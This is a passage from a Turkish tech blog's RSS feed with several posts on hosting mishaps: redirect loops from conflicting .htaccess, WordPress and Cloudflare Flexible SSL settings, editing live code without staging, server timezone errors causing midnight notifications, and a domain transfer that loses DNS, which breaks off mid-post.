<p>Olay genellikle sitenin SEO puanını artırmak isteyen hevesli bir site sahibinin veya şirketin "dijital pazarlama danışmanının" gece yarısı yaptığı küçük bir operasyonla başlar.</p>
<p>Danışman Google'da bir makale okumuştur: <em>"Siteniz hem www ile hem www olmadan açılıyorsa Google sizi cezalandırır! Sitenizi tek bir adrese 301 ile kalıcı yönlendirmelisiniz."</em></p>
<p>Harika bir tavsiyedir. Danışman hemen cPanel Dosya Yöneticisi'ne girer, <code>.htaccess</code> dosyasını açar ve bir forumdan kopyaladığı şu sihirli kodu dosyanın en tepesine yapıştırır:</p>
<pre><code class="language-apache"># Kural 1: www olanı www olmayana yönlendir
RewriteEngine On
RewriteCond %{HTTP_HOST} ^www\.sirketadi\.com [NC]
RewriteRule ^(.*)$ https://sirketadi.com/$1 [L,R=301]
</code></pre>
<p>Yetmez, arkasından WordPress panelindeki "Ayarlar > Genel" sekmesine girer. "WordPress Adresi (URL)" kutusuna <code>https://www.sirketadi.com</code> yazar!</p>
<p>Farkında mısınız?</p>
<ul>
<li><code>.htaccess</code> dosyası der ki: <em>"Eğer www ile gelirsen seni www OLMAYANA atarım!"</em></li>
<li>WordPress çekirdeği der ki: <em>"Eğer www olmadan gelirsen seni www OLAN sayfaya atarım!"</em></li>
</ul>
<p>İki ayrı yazılım katmanı, birbirine taban tabana zıt iki yönlendirme emriyle donatılmıştır!</p>
<h3>Sonsuz Tenis Maçı: Tarayıcının Çöküşü</h3>
<p>Kullanıcı tarayıcısını açar ve <code>sirketadi.com</code> yazar. Ve o mikro saniyede, insan gözünün takip edemeyeceği hızda bir dijital pinpon maçı başlar:</p>
<ol>
<li>Tarayıcı sunucuya gider: <em>"Bana sirketadi.com adresini ver."</em></li>
<li>WordPress yanıt verir: <em>"HTTP 301 Moved Permanently -> Git <a href="http://www.sirketadi.com">www.sirketadi.com</a> adresine!"</em></li>
<li>Tarayıcı yeni adrese koşar: <em>"Bana <a href="http://www.sirketadi.com">www.sirketadi.com</a> adresini ver."</em></li>
<li><code>.htaccess</code> motoru (mod_rewrite) kapıda karşılar: <em>"HTTP 301 Moved Permanently -> Git sirketadi.com adresine!"</em></li>
<li>Tarayıcı tekrar döner: <em>"Bana sirketadi.com adresini ver..."</em></li>
<li>WordPress: <em>"www'ye git!"</em></li>
<li><code>.htaccess</code>: <em>"www olmayana git!"</em></li>
</ol>
<p>İstek iki kapı arasında saniyede yüzlerce kez top gibi gidip gelir. Chrome, Firefox ve Safari tarayıcıları bu tür sonsuz döngüleri tespit edebilmek için bir sayaç tutar. Sayaç <strong>20 yönlendirmeyi</strong> aştığı anda tarayıcı pes eder, emniyet kemerini çeker ve ekrana o meşhur gri ölüm sayfasını basar:</p>
<blockquote>
<p><strong>Bu sayfa çalışmıyor</strong><br>
<strong>sirketadi.com sizi çok fazla kez yönlendirdi.</strong><br>
<em>Çerezleri temizlemeyi deneyin.</em><br>
<strong>ERR_TOO_MANY_REDIRECTS</strong></p>
</blockquote>
<h3>İkinci Büyük Tuzak: Cloudflare Flexible SSL Felaketi</h3>
<p>Bu re-entry taşikardisinin ikinci ve çok daha popüler bir varyantı vardır: <strong>Cloudflare Flexible SSL Çıkmazı.</strong></p>
<p>Kullanıcı Cloudflare hesabı açar. SSL/TLS şifreleme modunu <strong>"Flexible"</strong> olarak seçer. Flexible modunun anlamı şudur:</p>
<ul>
<li>Ziyaretçi ile Cloudflare arası şifrelidir (HTTPS - Port 443).</li>
<li>Cloudflare ile sizin kök sunucunuz arası ise <strong>şifresizdir</strong> (HTTP - Port 80)!</li>
</ul>
<p>Kullanıcı aynı zamanda sunucusundaki <code>.htaccess</code> dosyasına veya WordPress'e <em>"Bütün ziyaretçileri zorla HTTPS'e yönlendir"</em> kuralı koyar.</p>
<p>İşte re-entry halkası tamamlanmıştır:</p>
<ol>
<li>Ziyaretçi HTTPS ile Cloudflare'e gelir.</li>
<li>Cloudflare kök sunucunuza HTTP (Port 80) üzerinden bağlanır.</li>
<li>Sunucunuz HTTP isteğini görür görmez: <em>"Dur! Ben HTTP kabul etmem, HTTPS'e git!"</em> diyerek 301 atar.</li>
<li>Cloudflare 301 yanıtını alır, tekrar kök sunucuya HTTP üzerinden bağlanır!</li>
<li>Sunucu tekrar <em>"HTTPS'e git"</em> der...</li>
</ol>
<p>Ve 20 adım sonra site yine <code>ERR_TOO_MANY_REDIRECTS</code> ile donakalır.</p>
<h3>Destek Masasında Gece Çığlığı</h3>
<p>Gece saat 01:15'te şirketin genel müdürü ve danışmanı hosting firmasına bilet açar:</p>
<blockquote>
<p><em>"Sitenin ayarlarına hiçbir şey yapmadık, durduk yere 'Çok fazla yönlendirme' hatası verdi! Sunucunuzun DNS yönlendirme motoru bozulmuş. Derhal düzeltin sitemizi, ticaretimiz durdu!"</em></p>
</blockquote>
<p>Destek mühendisi terminali açar ve <code>curl</code> ile yönlendirme zincirini tek satırda teşhis eder:</p>
<pre><code class="language-bash">curl -ILs https://sirketadi.com | grep -E "HTTP/|location:"
</code></pre>
<p>Ekrana dökülen çıktı, ritim bozukluğunun EKG kaydı gibidir:</p>
<pre><code class="language-text">HTTP/1.1 301 Moved Permanently
location: https://www.sirketadi.com/
HTTP/1.1 301 Moved Permanently
location: https://sirketadi.com/
HTTP/1.1 301 Moved Permanently
location: https://www.sirketadi.com/
...
</code></pre>
<p>Mühendis tek bir hamle yapar: FTP'den <code>.htaccess</code> dosyasını açar, o hatalı yapıştırılmış 3 satırlık kodu siler veya Cloudflare modunu <strong>"Full (Strict)"</strong> moduna çeker. Site bir saniye içinde düzelir.</p>
<h3>Re-entry Döngülerini Kırma Protokolü</h3>
<p>Bir sitede <code>ERR_TOO_MANY_REDIRECTS</code> hatası patlak verdiğinde izlenecek cerrahi adımlar basittir:</p>
<ol>
<li><strong>Yönlendirmeyi Tek Bir Merkezden Yönetin:</strong> Yönlendirmeyi hem Cloudflare'de, hem <code>.htaccess</code>'te, hem de WordPress eklentisinde aynı anda yapmayın! Karar tek bir otoriteye bırakılmalıdır.</li>
<li><strong>Cloudflare Kullanıyorsanız Daima "Full (Strict)" Mod:</strong> Kök sunucunuza ücretsiz bir Let's Encrypt sertifikası kurun ve Cloudflare'i mutlaka "Full" veya "Full (Strict)" moduna alın. Asla "Flexible" modda bırakmayın.</li>
<li><strong>WordPress Site URL Eşitliği:</strong> <code>wp-config.php</code> dosyasına şu iki satırı ekleyerek veritabanındaki çelişkileri kesin olarak ezin:
<pre><code class="language-php">define('WP_HOME', 'https://sirketadi.com');
define('WP_SITEURL', 'https://sirketadi.com');
</code></pre>
</li>
<li><strong>Tarayıcı Önbelleğini Değil <code>curl</code> Aracını Kullanın:</strong> 301 yönlendirmeleri tarayıcılar tarafından kalıcı olarak hafızaya (cache) alınır. Kodu düzeltseniz bile tarayıcınız eski döngüyü hatırlayıp hata vermeye devam edebilir. Testlerinizi her zaman gizli sekmeden veya terminalden <code>curl -IL</code> ile yapın.</li>
</ol>
<p>Kalpteki aksesuar iletim yolu nasıl kalbi sonsuz bir kasılma girdabında boğuyorsa, çelişkili iki yönlendirme satırı da sitenizi öyle erişilmez bir kısırdöngüye hapseder. HTTP yönlendirmeleri bir sihir değil, saf mantık kuralıdır. Nereye gittiğini bilmeyen istek, kendi kuyruğunu ısıran yılan gibi eninde sonunda dönüp kendi boğazına sarılır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>DNS</category>
            <category>301 Redirect</category>
            <category>Cloudflare</category>
            <category>htaccess</category>
            <category>Web Güvenliği</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/musterinin-alan-adi-yonlendirmesini-301-yanlis-yapip-sonsuz-donguye-too-many-redirects-sokmasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Staging (Test) Ortamı Olmadan Canlıda Kod Değiştirmek": Production 'Hot-Fix' Kabusu]]></title>
            <link>http://localhost:3000/blog/post/staging-test-ortami-olmadan-canlida-kod-degistirmek-production-hot-fix-kabusu</link>
            <guid>staging-test-ortami-olmadan-canlida-kod-degistirmek-production-hot-fix-kabusu</guid>
            <pubDate>Thu, 12 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Canlıdaki e-ticaret sitesinin functions.php dosyasını wp-admin veya FTP üzerinden doğrudan açıp düzenleyen geliştiricinin, unutulan tek bir noktalı virgül (;) yüzünden siteyi White Screen of Death (Ölümün Beyaz Ekranı) batağına saplaması.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/staging-test-ortami-olmadan-canlida-kod-degistirmek-production-hot-fix-kabusu/thumbnail" alt=""> Cerrahi disiplinin en temel ahlak kurallarından biri "operasyonel hazırlık ve izolasyon"dur. Bir hastaya cerrahi müdahale yapacaksanız hasta önce anesteziye alınır, yaşamsal fonksiyonları monitörize edilir, steril örtüler serilir ve kanama kontrolü için aspiratör hazır tutulur. Şimdi gözünüzün önüne şöyle bir sahne getirin: Genel cerrah, yoğun bakım koridorunda yürüyen, ailesiyle sohbet eden canlı bir hastanın yanına yaklaşıyor. Cebinden paslı bir çakı çıkarıyor ve <em>"Dur şurada dalağında ufak bir fazlalık var, yürürken iki dakikada kesivereyim"</em> diyerek hastanın karnına saplıyor! Cerrahın eli kayıyor, ana atardamar (aort) yırtılıyor, hasta koridorun ortasında saniyeler içinde kan gölünde kalarak yere seriliyor.</p>
<p>Kulağa korkunç bir kabus gibi geliyor, değil mi? Oysa web geliştirme sektöründe her gün binlerce geliştirici ve site sahibi, tam olarak bu koridorda çakıyla ameliyat barbarlığını sergiliyor: <strong>Staging (test) ortamı olmadan, canlı (production) sunucu üzerinde doğrudan dosya düzenlemek.</strong></p>
<h3>Salı 14:30: "Ufak Bir Renk Değiştirecektim"</h3>
<p>Günde on binlerce liralık ciro yapan bir e-ticaret sitesi veya binlerce ziyaretçisi olan kurumsal bir haber portalı... Şirketin web geliştiricisi veya dışarıdan destek veren danışmanı ekrandaki bir detaya takılır: Satın alma butonunun altındaki açıklama metninde ufak bir yazım hatası vardır veya bir fonksiyona ek bir koşul yazılması gerekmektedir.</p>
<p>Mühendislik ahlakının gerektirdiği standart protokol bellidir:</p>
<ol>
<li>Kod yerel (local) veya izole bir <strong>Staging (Sahneleme)</strong> ortamında açılır.</li>
<li>Değişiklik test edilir, PHP linter ile sözdizimi (syntax) kontrolünden geçirilir.</li>
<li>Git commit atılır ve kontrollü bir dağıtım süreciyle canlıya aktarılır.</li>
</ol>
<p>Fakat bizim geliştiricimiz o meşhur "özgüven zehirlenmesi" içindedir: <em>"Aman canım alt tarafı tek satır kod ekleyeceğim, bunun için staging ortamıyla, Git ile kim uğraşacak? İki saniyede hallederim!"</em></p>
<p>Geliştirici ya FTP üzerinden canlı sunucuya bağlanır ya da daha büyük bir intihar yöntemi seçerek WordPress yönetim panelindeki <strong>"Görünüm > Tema Dosyası Düzenleyicisi"</strong> sekmesine girer. Canlıda çalışan <code>functions.php</code> dosyasını tarayıcı içinde açar.</p>
<h3>O Tek Noktalı Virgül ve Ölümün Beyaz Ekranı (WSoD)</h3>
<p>Geliştirici dosyanın en altına 3 satırlık bir fonksiyon yazar:</p>
<pre><code class="language-php">function custom_checkout_text() {
    echo '&#x3C;p class="info">Hızlı Kargo&#x3C;/p>'
}
add_action('woocommerce_after_order_notes', 'custom_checkout_text');
</code></pre>
<p>Fark ettiniz mi? İkinci satırın sonundaki o kutsal <strong>noktalı virgül (<code>;</code>)</strong> unutulmuştur!</p>
<p>Geliştirici alttaki mavi <strong>"Dosyayı Güncelle"</strong> butonuna basar.</p>
<p>Ve bastığı saniyede, saniyede 50 kişinin sipariş verdiği o e-ticaret sitesi bir anda karanlığa gömülür. Tarayıcıyı yenilediğinde ekranda ne bir hata mesajı, ne bir buton, ne de bir uyarı vardır. Karşılarında web dünyasının en soğuk, en ölümcül manzarası durmaktadır:</p>
<blockquote>
<p><strong>White Screen of Death (WSoD - Ölümün Beyaz Ekranı)</strong><br>
<em>(Bembeyaz, tertemiz, sıfır piksellik bir hiçlik!)</em></p>
</blockquote>
<p>Daha da kötüsü, WordPress yönetim paneli de <code>functions.php</code> dosyasını yüklediği için <code>/wp-admin</code> paneli de tamamen çökmüştür! Geliştirici kendi bindiği dalı kesmiş, girdiği kapının kilidini arkasından kırmıştır.</p>
<h3>Destek Masasında Yangın</h3>
<p>Şirketin satış ekibi, muhasebesi ve genel müdürü aynı saniyede çığlık atmaya başlar: <em>"Sitemiz çöktü! Siparişler kesildi! Sepetteki müşteriler kaçıyor!"</em></p>
<p>Geliştiricinin elleri titremeye başlar. Ter avuçlarından klavyeye damlar. Canlı sunucuda geri alma (undo) butonu yoktur! FTP'ye bağlanmaya çalışır, heyecandan şifreyi üç kere yanlış girer ve sunucu güvenlik duvarı (CSF) IP adresini de banlar!</p>
<p>Artık geliştirici ne siteye erişebilir, ne panele girebilir, ne de FTP'ye bağlanabilir. Tam bir cerrahi facia!</p>
<p>Hemen hosting firmasının acil destek hattına bilet açılır:</p>
<blockquote>
<p><em>"ACİL! Sitemiz durduk yere beyaz ekranda kaldı! Sunucunuz çöktü galiba, derhal müdahale edin, milyonluk zarardayız!"</em></p>
</blockquote>
<p>Sistem mühendisi sunucunun hata kayıtlarını (<code>error_log</code>) açar. Ve o acı gerçeği 3 saniyede görür:</p>
<pre><code class="language-text">[12-Mar-2026 14:32:05 UTC] PHP Parse error: syntax error, unexpected '}', 
expecting ';' in /home/firma/public_html/wp-content/themes/tema/functions.php on line 412
</code></pre>
<p>Sistem yöneticisi SSH konsolundan nano ile dosyayı açar, o eksik noktalı virgülü koyar ve dosyayı kaydeder. Site 2 saniyede geri gelir. Ancak o 15 dakikalık kesintinin firmaya faturası binlerce liralık kaybedilmiş sipariş ve yerle bir olmuş bir prestijdir.</p>
<h3>Staging Olmadan Yaşamak: Emniyet Kemersiz 200 km Hız</h3>
<p>Canlı ortamda dosya düzenlemek, otobanda 200 km hızla giderken arabanın motor kaputunu açıp bujileri değiştirmeye çalışmaktır. En ufak bir el titremesi aracı uçuruma yuvarlar.</p>
<p>Profesyonel bir yazılım mimarisinde bu tür trajedileri sıfırlamanın altın kuralları bellidir:</p>
<ol>
<li><strong>Staging / Sandbox Ortamı Zorunluluğu:</strong> Canlı sitenin birebir kopyası olan bir <code>staging.sirketadi.com</code> alt alanı kurulmalıdır. Tüm güncellemeler, yeni kodlar ve eklentiler önce burada test edilmeli; hiçbir hata olmadığı kanıtlandıktan sonra canlıya alınmalıdır. (Modern paneller tek tıkla Staging oluşturma imkânı sunmaktadır).</li>
<li><strong>Tema Editörünü Yasaklayın:</strong> WordPress kullanıyorsanız <code>wp-config.php</code> dosyasına şu satırı ekleyerek tarayıcı içinden kod düzenleme özelliğini tamamen kapatın:
<pre><code class="language-php">define('DISALLOW_FILE_EDIT', true);
</code></pre>
Bu satır hem canlıda dikkatsiz kod yazılmasını engeller, hem de siteye sızan bir korsanın panelden webshell yüklemesinin önüne geçer.</li>
<li><strong>Yerel Sözdizimi Kontrolü (PHP Lint):</strong> Bir dosyayı sunucuya atmadan önce kendi bilgisayarınızda terminalden <code>php -l dosya.php</code> komutunu çalıştırın. PHP size kodda eksik noktalı virgül veya parantez olup olmadığını saniyede söyler.</li>
<li><strong>Git ve CI/CD Güvencesi:</strong> Kodlarınızı doğrudan canlı sunucuda değil, bir sürüm kontrol sisteminde saklayın. Bir hata olduğunda tek tıkla eski çalışan sürüme geri dönebilme (revert/rollback) lüksüne sahip olun.</li>
</ol>
<p>Canlı ortam bir ameliyathanedir ve ameliyathanede şakaya, aceleciliğe yer yoktur. "İki dakikada canlıda hallederim" kibri, mühendislik disiplini karşısında her zaman yenilmeye mahkûmdur. Test edilmemiş kod zehirdir; o zehri canlı hastaya enjekte etmek ise mesleki intihardır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Production</category>
            <category>Hotfix</category>
            <category>Staging</category>
            <category>WordPress</category>
            <category>Yazılım Disiplini</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/staging-test-ortami-olmadan-canlida-kod-degistirmek-production-hot-fix-kabusu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Sunucu Zaman Dilimi (Timezone)" Ve Gece Yarısı Yanlış Zamanda Atılan Bildirimler]]></title>
            <link>http://localhost:3000/blog/post/sunucu-zaman-dilimi-timezone-ve-gece-yarisi-yanlis-zamanda-atilan-bildirimler</link>
            <guid>sunucu-zaman-dilimi-timezone-ve-gece-yarisi-yanlis-zamanda-atilan-bildirimler</guid>
            <pubDate>Wed, 11 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sunucu saat diliminin UTC olarak kalması ve uygulamanın yerel saat dilimine göre ayarlanmaması yüzünden, binlerce müşterinin cep telefonuna gece saat 03:30'da "Kargonuz yola çıktı!" veya "Aboneliğiniz yenilendi" bildirimlerinin yağması ve yaşanan kriz.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sunucu-zaman-dilimi-timezone-ve-gece-yarisi-yanlis-zamanda-atilan-bildirimler/thumbnail" alt=""> Tıp biliminin en büyüleyici dallarından biri "Kronofarmakoloji"dir; yani ilaçların biyolojik saatimizle (sirkadiyen ritim) olan zamansal etkileşimi. İnsan bedeni günün her saatinde aynı kimyasal reaksiyonları vermez. Örneğin tansiyon ilaçları ve kortizon türevleri genellikle sabah 08:00 - 09:00 civarında verilir; çünkü vücudun doğal kortizol salgısı ve kan basıncı o saatlerde zirve yapar.</p>
<p>Şimdi düşünün ki bir hastane servisinde nöbet tutan hemşirenin kol saati 6 saat geri kalmıştır (veya Londra saatindedir). Sabah 09:00'da verilmesi gereken o güçlü antihipertansif ilacı, gece yarısı saat 03:00'te, hastanın en derin non-REM uykusunda, tansiyonunun ve nabzının zaten fizyolojik olarak en dipte olduğu anda hastanın damarına basar! Sonuç ne olur? Hastanın kan basıncı anında 50'ye çakılır, beyin perfüzyonu durur ve hasta derin uykuda komaya girer. İlaç doğrudur, doz doğrudur; fakat "zamanlama" ölümcüldür.</p>
<p>Bilişim mimarisinde ve sunucu yönetiminde de ekiplerin en çok hafife aldığı ama müşterilerle ilişkileri bir gecede dinamitleyen en sinsi saatli bomba, tam olarak bu kronofarmakolojik zamanlama hatasıdır: <strong>Sunucu Zaman Dilimi (Timezone / UTC) Uyuşmazlığı.</strong></p>
<h3>Gece 03:22: Telefonların Titreşimiyle Uyanan Müşteriler</h3>
<p>Çarşamba gecesi saat 03:22. Türkiye genelinde on binlerce insan derin uykusundadır. Aniden yatak uçlarındaki akıllı telefonların ekranları aydınlanır, ardı ardına tiz SMS ve bildirim sesleri odayı doldurur:</p>
<blockquote>
<p><strong>SMS:</strong> <em>"Sayın Müşterimiz, 48291 nolu siparişiniz paketlenmiş ve kargo firmasına teslim edilmiştir. Takip no: 94821..."</em><br>
<strong>E-Posta:</strong> <em>"Aylık Premium Üyeliğiniz Başarıyla Yenilendi. Kartınızdan 450 TL tahsil edildi."</em><br>
<strong>Push Notification:</strong> <em>"Bugüne özel flaş indirimleri kaçırmayın! Hemen tıklayın!"</em></p>
</blockquote>
<p>İnsanlar panikle uyanır. Kimisi evine hırsız girdiğini zanneder, kimisi kredi kartının kopyalandığını ve dolandırıldığını düşünerek bankasını arayıp kartlarını iptal ettirir. Öfkeli müşteriler soluğu şirketin sosyal medya hesaplarında, Şikayetvar'da ve forumlarda alır:</p>
<blockquote>
<p><em>"Siz sapık mısınız? Gecenin üç buçuğunda bana kargo mesajı atmaya ne hakkınız var? Çocuğumu uyandırdınız, bütün aile ayağa kalktı! Yarın ilk iş aboneliğimi iptal edip Tüketici Hakem Heyeti'ne başvuracağım!"</em></p>
</blockquote>
<p>Sabah saat 08:30'da şirketin çağrı merkezi santrali alev alır. Şirketin genel müdürü pazarlama ve bilgi işlem departmanını odaya toplar: <em>"Kimin fikriydi gecenin üçünde kargo bildirimi atmak? Hepinizi kovarım!"</em></p>
<p>Pazarlama müdürü titreyerek cevap verir: <em>"Efendim biz sisteme 'Her sabah saat 06:30'da kargoya verilen ürünlerin bildirimlerini tetikle' diye cron görevi koymuştuk. Gece atılması imkânsız!"</em></p>
<p>İşte tam bu noktada, yazılım dünyasının o görünmez hayaleti sahneye çıkar: <strong>UTC vs. Europe/Istanbul.</strong></p>
<h3>UTC İllüzyonu: 3 Saatlik Saatli Bomba</h3>
<p>Modern Linux sunucular (Ubuntu, Debian, RHEL, CloudLinux) veri merkezine kurulduğunda varsayılan sistem saati evrensel koordineli zaman olan <strong>UTC (Coordinated Universal Time)</strong> olarak ayarlanır. Yani İngiltere'deki Greenwich meridyeninin saatidir.</p>
<p>Türkiye ise 2016 yılından itibaren kalıcı yaz saati uygulamasına geçmiş ve saat dilimini kalıcı olarak <strong>UTC+3</strong> seviyesine sabitlemiştir. Yani Türkiye saati, sunucunun UTC saatinden tam <strong>3 saat ileridedir!</strong></p>
<p>Geliştiricimiz sunucudaki crontab dosyasına şu görevi yazmıştır:</p>
<pre><code class="language-bash"># Sabah 06:30'da kargo bildirimlerini gönder
30 6 * * * /usr/bin/php /home/firma/cron/send_shipping_sms.php
</code></pre>
<p>Geliştiricinin zihnindeki saat: Türkiye saatiyle sabah 06:30 (ortalık aydınlanmış, insanlar uyanmaya başlamıştır).</p>
<p>Fakat sunucunun Linux çekirdeğinin zihnindeki saat: UTC saatidir!</p>
<p>Sunucu saati 06:30 olduğunda, Türkiye'de saat aslında sabah <strong>09:30</strong>'dur. Buraya kadar sadece bir gecikme vardır. Asıl facia ters yöndeki hesaplamalarda veya veritabanı sorgularında patlak verir:</p>
<p>Uygulama kodunun içinde PHP varsayılan timezone ayarı yapılmamıştır. Kodda şu sorgu koşar:</p>
<pre><code class="language-php">// "Son 24 saatte kargolananları getir"
$time = date("Y-m-d H:i:s", strtotime("-24 hours"));
</code></pre>
<p>PHP, sunucu saati olan UTC'yi alır. Veritabanındaki <code>created_at</code> timestamp alanı ise yerel saatle yazılmıştır. Üç saatlik o zamansal yırtık (drift), zamanlanmış kuyruk yöneticisini (queue worker) şaşırtır. Sistem "gecikmiş görevleri telafi edeyim" derken, gece yarısı saat 00:30'da çalışması gereken bakım scriptini saat 03:30'da tetikler ve kuyrukta birikmiş binlerce SMS'i gece uykusundaki müşterilerin kafasına boşaltır!</p>
<h3>Veritabanında Zaman Kayması: Finansal İptaller</h3>
<p>Zaman dilimi uyumsuzluğu sadece gece atılan SMS'lerle sınırlı kalmaz; çok daha ağır finansal ve yasal krizler doğurur:</p>
<ol>
<li><strong>Kampanya Başlangıç ve Bitişleri:</strong> "Bu gece 23:59'da bitecek %50 indirim" kampanyası tanımlarsınız. Sunucu UTC çalıştığı için kampanya Türkiye saatiyle gece 03:00'e kadar açık kalır. Binlerce müşteri indirim bittikten sonra da indirimli fiyattan alışveriş yapar; şirket yüz binlerce lira zarar eder.</li>
<li><strong>Fatura ve Muhasebe Kayıtları:</strong> Ayın son günü saat 22:30'da kesilen bir e-fatura, sunucu UTC olduğu için bir önceki günün veya bir sonraki ayın ilk günü gibi kaydedilir. Maliye denetiminde vergi usul kanununa muhalefetten ceza yağar.</li>
<li><strong>Log Adli Bilişimi (Forensics):</strong> Sitenize bir siber saldırı yapıldığında polis ve siber suçlarla mücadele ekipleri logları ister. Sunucu logları UTC, güvenlik kamerası logları UTC+3, veritabanı logları ise karmaşık bir saat dilimindedir. Olayın kronolojisini çıkarmak imkânsızlaşır.</li>
</ol>
<h3>Cerrahi Senkronizasyon: Sunucuda Zamanı Düzeltmek</h3>
<p>Sisteminizin biyolojik saatini şaşmaz bir hassasiyete kavuşturmanın adımları son derece nettir:</p>
<ol>
<li><strong>İşletim Sistemi Zaman Dilimi (OS Timezone):</strong><br>
Linux sunucuda yerel saat dilimi derhal tanımlanmalıdır:
<pre><code class="language-bash">timedatectl set-timezone Europe/Istanbul
# Kontrol için:
timedatectl status
</code></pre>
</li>
<li><strong>Ağ Zaman Protokolü (NTP / Chrony):</strong> Sunucunun saatinin donanımsal kristal kaymasıyla milisaniyelerce geri kalmasını engellemek için NTP servisi aktif edilmelidir:
<pre><code class="language-bash">systemctl enable --now chronyd
</code></pre>
</li>
<li><strong>PHP ve Web Sunucusu Yapılandırması:</strong> <code>php.ini</code> dosyasında <code>date.timezone</code> parametresi mutlaka açıkça yazılmalıdır:
<pre><code class="language-ini">[Date]
date.timezone = "Europe/Istanbul"
</code></pre>
</li>
<li><strong>Veritabanı Standardı: UTC'de Sakla, Yerelde Göster:</strong> En temiz mühendislik mimarisi; veritabanında tüm tarihleri daima saf UTC olarak (<code>TIMESTAMP</code>) saklamak, kullanıcıya veya arayüze sunarken kullanıcının yerel saat dilimine (<code>Europe/Istanbul</code>) dönüştürerek ekrana basmaktır. Böylece dünyanın neresinde olursanız olun hiçbir zaman karmaşası yaşanmaz.</li>
</ol>
<p>Hastanede saatini ayarlamayan hemşire hastayı nasıl komaya sokarsa, saat dilimini ayarlamayan sistem yöneticisi de şirketini öyle itibar komasına sokar. Zaman soyut bir kavram değildir; bilişim altyapısının her bir dişlisini birbirine bağlayan en hassas çarktır. Saatinizi doğru kurmazsanız, geleceğiniz bir gece yarısı gelen öfkeli bir telefonla kararır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Timezone</category>
            <category>Sunucu Yönetimi</category>
            <category>Linux</category>
            <category>PHP</category>
            <category>Kullanıcı Deneyimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sunucu-zaman-dilimi-timezone-ve-gece-yarisi-yanlis-zamanda-atilan-bildirimler/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Domain Transfer Sürecinde NameServer (NS) Güncellemeyi Unutmak"]]></title>
            <link>http://localhost:3000/blog/post/domain-transfer-surecinde-nameserver-ns-guncellemeyi-unutmak</link>
            <guid>domain-transfer-surecinde-nameserver-ns-guncellemeyi-unutmak</guid>
            <pubDate>Tue, 10 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Alan adını bir firmadan diğerine transfer ederken NameServer (NS) kayıtlarının akıbetini takip etmeyi unutan yöneticinin, eski firmanın DNS bölgesini silmesiyle birlikte 48 saat boyunca web sitesini ve kurumsal e-postalarını küresel bir karanlığa gömmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/domain-transfer-surecinde-nameserver-ns-guncellemeyi-unutmak/thumbnail" alt=""> Yoğun bakımda solunum cihazına (ventilatör) bağlı bir hastayı bir hastaneden başka bir tam teşekküllü tıp merkezine sevk (transfer) ettiğinizi düşünün. İki hastane arasındaki idari yazışmalar tamamlanır, sevk kağıtları imzalanır. Yeni hastanenin ambulansı gelir, hasta sedyeyle yeni araca taşınır, kapılar kapatılır ve sirenler çalarak yola çıkılır.</p>
<p>Fakat nakil ekibindeki bir asistan hekim hayati bir detayı unutmuştur: Hastanın endotrakeal tüpüne bağlı olan oksijen hortumunu eski hastanenin ambulansında bırakmış, yeni ambulansın oksijen vanasına bağlamamıştır! Araç otobana çıkar çıkmaz hastanın oksijen satürasyonu %99'dan %40'a çakılır, beyin oksijensiz kalır ve hasta transfer tamamlanamadan hipoksik komaya girer. İdari transfer kusursuzdur; fakat hayatı taşıyan o tek hortum bağlanmadığı için hasta kaybedilmiştir.</p>
<p>İnternet altyapısında da şirketlerin kurumsal varlıklarını ve dijital nefes borularını bir gecede tıkayan en yaygın ve yıkıcı krizlerden biri, tam olarak bu oksijen hortumu ihmalidir: <strong>Alan adı transferi sırasında NameServer (NS) yönetimini unutmak ve DNS karanlığına gömülmek.</strong></p>
<h3>5 Günlük Heyecan ve "Transfer Başarılı" İllüzyonu</h3>
<p>Olay genellikle şirketin hosting veya alan adı yenileme maliyetlerini düşürmek istemesiyle başlar. Şirket genel müdürü veya bilgi işlem sorumlusu, <code>sirketadi.com</code> alan adını yıllardır barındığı A firmasından daha modern ve uygun fiyatlı B firmasına transfer etme kararı alır.</p>
<p>Transfer kodu (EPP/Auth-Code) alınır, B firmasında transfer siparişi verilir, kredi kartından ücret ödenir ve yetkili e-postaya gelen onay linkine tıklanır.</p>
<p>ICANN kuralları gereği transfer süreci tam 5 takvim günü sürer.</p>
<p>Beşinci günün sonunda şirketin e-postasına sevinçli bir bildirim düşer:</p>
<blockquote>
<p><strong>"Tebrikler! sirketadi.com alan adınızın transfer işlemi başarıyla tamamlanmıştır."</strong></p>
</blockquote>
<p>Şirket yöneticisi kahvesini yudumlar, arkasına yaslanır ve <em>"Oh be, transferi tereyağından kıl çeker gibi hallettik"</em> der.</p>
<p>Fakat tam o dakikalarda, arka planda dijital bir idam fermanı yürürlüğe girmektedir.</p>
<h3>Eski Firmanın İntikamı: DNS Bölgesi Siliniyor (Zone Deletion)</h3>
<p>Alan adınız A firmasındayken, alan adınızın NameServer (NS) kayıtları o firmanın DNS sunucularını göstermekteydi:</p>
<ul>
<li><code>ns1.eski-firma.com</code></li>
<li><code>ns2.eski-firma.com</code></li>
</ul>
<p>Bu DNS sunucuları, dünyadaki tüm arama motorlarına ve internet servis sağlayıcılarına <em>"sirketadi.com'un web sitesi şu IP'dedir, e-posta sunucusu şu adrestedir"</em> diyen resmi adres defteridir.</p>
<p>Transfer işlemi tamamlandığı an, A firmasının otomasyon sistemleri şu kararı verir: <em>"Bu müşteri artık bizim müşterimiz değil. Alan adı başka bir kayıt operatörüne taşındı. Sunucularımızdaki çöp kayıtları temizleyin!"</em></p>
<p>A firmasının sistemleri, o kutsal DNS bölgesini (<code>Zone File</code>) sunucularından acımasızca siler (<code>DROP ZONE</code>).</p>
